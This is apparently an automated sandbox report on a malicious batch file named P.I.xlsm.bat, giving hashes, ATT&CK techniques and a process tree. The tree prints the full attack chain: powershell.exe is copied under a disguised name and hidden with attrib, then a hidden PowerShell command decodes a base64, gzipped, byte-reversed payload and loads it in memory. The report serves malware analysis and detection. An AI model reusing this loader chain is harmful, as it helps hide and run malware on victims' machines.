96549660921224a50d9866e190900eb0616454b6bc3d8d2becd6fc3bf38c6723

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
23-05-2024 19:58

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General

Target

P.I.xlsm.bat
Size

3.0MB
MD5

345fd8e60b26a425db12a3b4f03db858
SHA1

b3815d7d301866fbdd472168dc63d88e3bdb93a6
SHA256

84011035b4c05eefeeb6cb35acffb479b26d1c18c8876f3eb881a222c0ee7d49
SHA512

42bba166fb3b1e12c998522a7e622e8894c0efacacbca5e457be4d0fa0559ccfa614e7e547ad3f49f3688a1e93654416ffe3ea9b07d97fa94513d4b7f61e791e
SSDEEP

49152:uVSpD/97Zd7hGxfTyS+HA02ZDMuDzaKoZ0FsCc:V

Score

8^/10

evasion

Malware Config

Signatures

Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

2552 attrib.exe
Executes dropped EXE 1 IoCs

Processes:

P.I.xlsm.bat.Jda

pid process

2404 P.I.xlsm.bat.Jda
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

P.I.xlsm.bat.Jda

pid process

2404 P.I.xlsm.bat.Jda
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

P.I.xlsm.bat.Jda

pid process

2404 P.I.xlsm.bat.Jda
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

P.I.xlsm.bat.Jda

description pid process

Token: SeDebugPrivilege 2404 P.I.xlsm.bat.Jda

pid	process
2552	attrib.exe

pid	process
2404	P.I.xlsm.bat.Jda

pid	process
2404	P.I.xlsm.bat.Jda

pid	process
2404	P.I.xlsm.bat.Jda

description	pid	process
Token: SeDebugPrivilege	2404	P.I.xlsm.bat.Jda

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 348 wrote to memory of 1780	348	cmd.exe	cmd.exe
PID 348 wrote to memory of 1780	348	cmd.exe	cmd.exe
PID 348 wrote to memory of 1780	348	cmd.exe	cmd.exe
PID 348 wrote to memory of 3048	348	cmd.exe	xcopy.exe
PID 348 wrote to memory of 3048	348	cmd.exe	xcopy.exe
PID 348 wrote to memory of 3048	348	cmd.exe	xcopy.exe
PID 348 wrote to memory of 2552	348	cmd.exe	attrib.exe
PID 348 wrote to memory of 2552	348	cmd.exe	attrib.exe
PID 348 wrote to memory of 2552	348	cmd.exe	attrib.exe
PID 348 wrote to memory of 2404	348	cmd.exe	P.I.xlsm.bat.Jda
PID 348 wrote to memory of 2404	348	cmd.exe	P.I.xlsm.bat.Jda
PID 348 wrote to memory of 2404	348	cmd.exe	P.I.xlsm.bat.Jda
PID 348 wrote to memory of 2404	348	cmd.exe	P.I.xlsm.bat.Jda

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

2552 attrib.exe

pid	process
2552	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:348

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
2⤵
PID:1780

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat.Jda
2⤵
PID:3048

C:\Windows\system32\attrib.exe
attrib +s +h C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat.Jda
2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:2552

C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat.Jda
C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat.Jda -WindowStyle hidden -command "$Tkbbzsbbj = Get-Content 'C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat' | select-object -Last 1; $Xnudsar = [System.Convert]::FromBase64String($Tkbbzsbbj);$Ybkhjhtkz = New-Object System.IO.MemoryStream( , $Xnudsar );$Rkkqpm = New-Object System.IO.MemoryStream;$Barkkgph = New-Object System.IO.Compression.GzipStream $Ybkhjhtkz, ([IO.Compression.CompressionMode]::Decompress);$Barkkgph.CopyTo( $Rkkqpm );$Barkkgph.Close();$Ybkhjhtkz.Close();[byte[]] $Xnudsar = $Rkkqpm.ToArray();[Array]::Reverse($Xnudsar); $Dflvww = [System.Threading.Thread]::GetDomain().Load($Xnudsar); $Taxyiyat = $Dflvww.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"
2⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2404

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Temp\P.I.xlsm.bat.Jda
Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2404-5-0x0000000073E41000-0x0000000073E42000-memory.dmp

Filesize
4KB

Download
memory/2404-6-0x0000000073E40000-0x00000000743EB000-memory.dmp

Filesize
5.7MB

Download
memory/2404-7-0x0000000073E40000-0x00000000743EB000-memory.dmp

Filesize
5.7MB

Download
memory/2404-8-0x0000000073E40000-0x00000000743EB000-memory.dmp

Filesize
5.7MB

Download
memory/2404-9-0x0000000073E40000-0x00000000743EB000-memory.dmp

Filesize
5.7MB

Download
memory/2404-10-0x0000000073E40000-0x00000000743EB000-memory.dmp

Filesize
5.7MB

Download